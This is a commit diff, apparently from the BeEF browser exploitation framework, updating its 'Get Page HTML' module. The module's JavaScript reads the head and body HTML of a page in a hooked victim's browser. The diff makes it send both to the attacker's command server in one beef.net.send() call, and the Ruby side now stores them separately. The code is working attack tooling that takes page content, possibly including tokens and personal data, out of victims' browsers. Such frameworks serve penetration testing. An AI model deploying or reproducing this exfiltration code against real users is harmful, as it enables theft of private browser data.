Updated Get Page HTML module:
o Now returns head and body in one beef.send() request o Now stores results correctly
This commit is contained in:
@@ -16,18 +16,17 @@
|
||||
beef.execute(function() {
|
||||
|
||||
try {
|
||||
var html_head = escape(document.head.innerHTML.toString());
|
||||
var html_head = document.head.innerHTML.toString();
|
||||
} catch (e) {
|
||||
var html_head = "Error: document has no head";
|
||||
}
|
||||
try {
|
||||
var html_body = escape(document.body.innerHTML.toString());
|
||||
var html_body = document.body.innerHTML.toString();
|
||||
} catch (e) {
|
||||
var html_body = "Error: document has no body";
|
||||
}
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head);
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'body='+html_body);
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head+'&body='+html_body);
|
||||
|
||||
});
|
||||
|
||||
|
||||
@@ -17,7 +17,8 @@ class Get_page_html < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['html'] = @datastore['html']
|
||||
content['head'] = @datastore['head']
|
||||
content['body'] = @datastore['body']
|
||||
save content
|
||||
end
|
||||
|
||||
|
||||
Reference in New Issue
Block a user